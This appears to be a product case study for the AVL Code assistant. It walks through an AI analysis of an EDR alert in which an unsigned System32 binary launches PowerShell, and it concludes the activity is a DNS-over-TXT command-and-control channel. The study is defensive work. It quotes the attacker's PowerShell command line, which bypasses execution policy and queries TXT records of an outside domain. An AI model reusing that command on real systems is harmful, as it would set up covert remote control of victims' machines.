AVL Code
All cases
#003 · Behavioral Analysis

Case study · Behavioral Analysis

EDR Behavioral Alert Chain Reconstruction

You are the SOC analyst on duty, and the only input you have is a single EDR alert JSON. Work through this article and you will get in one round of conversation: the five-level process call chain, four file anomalies on the parent process, the decoded PowerShell command, a DNS-over-TXT covert-channel verdict, and a set of response recommendations you can copy item by item into a ticket.

Input: 1 EDR alert JSON (magic: antiyedr · ver V3.0)· Target: PowerShell process behavior alert (type: process_behavior)· Model: Landi N2.5· Deliverable: threat analysis report (8 sections)· Interaction: a single-round instruction · never leaves the conversation

View session Download session archive Import into your AVL Code workspace to replay the full conversation

Session replays & reports are original records in Simplified Chinese · Built with AVL Code + the Landi model

Overview

  1. 01

    Paste the alert — five-level call chain reconstructed, suspicion narrows to the parent process

    You paste the alert JSON in as-is; AVL Code returns the alert summary (wop0060008 / level 3 / automatic_release), the five-level process chain and timeline, and the parent process HealthAttestationClient.exe surfaces.

  2. 02

    Decode and conclude — four parent-process anomalies + DNS-over-TXT, five recommendations ready for the ticket

    You see the file-attribute comparison between parent and child, and the fully decoded PowerShell command; the covert-channel verdict stands, and the judgment and recommendations translate directly into ticket language.

Task for AVL Code

Based on the following JSON data, analyze this behavior for me and tell me whether it is a threat:
{ … full alert JSON (about 200 lines, with alarm_info / dispose_info_list / process_info_parent / process_info_self / time / type / uuid etc.) … }

Parsing the Alert

No need to understand the fields first, no need to jump between the EDR console and threat-intel sites — the raw JSON is the best input:

You type → AVL Code 
Based on the following JSON data, analyze this behavior for me and tell me whether it is a threat:
{
  "alarm_info": { "behavior_alarm": {
      "label": "执行.利用命令和脚本解释器.利用PowerShell-T1059.001",
      "level": 3, "rule_id": "wop0060008", … } },
  "dispose_info_list": [
    { "dispose": "automatic_release", "type": "event", … }, … ],
  "process_info_parent": { "pid": 13892,
    "path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe", … },
  "process_info_self": { "pid": 6944,
    "path": "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", … },
  "time": 1779267345, "type": "process_behavior" …
}
AVL Code runs → you see
Parses the alert summary: rule wop0060008 (PowerShell abuse, T1059.001) · severity level 3 (medium-high) · disposition automatic_release (auto-released)
→ Reconstructs the five-level behavior chain: winlogon → userinit → explorer → HealthAttestationClient (parent) → powershell (alerted process)
→ Timeline check: the alert fired almost simultaneously with the PowerShell launch
→ Moves on to parent-process analysis: HealthAttestationClient.exe (a System32 subdirectory)

Decoding and Verdict

The report puts the two files you pasted side by side, and the conclusion surfaces on its own:

Key JSON fields you typed → AVL Code 
// process_info_parent.file_info.basic_info
"path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe"
"certificate_info": []
"is_system_file": 0
"compile_time": 1770806663, "compiler_pack": "Compiler/Microsoft.VISUAL_C@18"
"detect_info": { "state": "unknown", … }

// process_info_self（powershell.exe）
"detect_info": { "state": "white", … }, "is_system_file": 1
"param": "powershell.exe -NoProfile -ExecutionPolicy ByPass -Command \"chcp 65001; $domain=_dnsauth.gelinpp.com; $DnsServers='1.1.1.1' …\""
AVL Code runs → you see
Four parent-process anomalies: no digital signature · a non-system file sitting in a System32 subdirectory · detection state unknown · anomalous compile time (2026-02, MSVC 18)
→ Child process powershell.exe: white · system file
→ Command decoded: chcp 65001 → ipconfig /flushdns → Resolve-DnsName querying TXT records of _dnsauth.gelinpp.com
→ Verdict: a DNS-over-TXT covert channel — C2 commands/payload can be encoded in TXT records, bypassing blacklists and traffic detection; the _dnsauth prefix masquerades as DNS authentication traffic

Try it yourself

Download the session and import it into your workspace to replay the full process, or paste your EDR alert JSON to AVL Code as-is:

View session Download session archive Import into your AVL Code workspace to replay the full conversation
› Based on the following JSON data, analyze this behavior for me and tell me whether it is a threat:
{ paste your EDR alert JSON }
  • Redact host information if the alert JSON contains it; the verdict is the model’s judgment from a single JSON, so before acting, extract the sample (SHA256: E566B1C4FE1596708B900A887631C0775AF06B39BD168FC96140909AB5919A07) for re-verification per the response recommendations, and use it together with your EDR response process.

Next question: Once you have the sample, how do you statically reverse HealthAttestationClient.exe to confirm whether it really carries the C2 logic?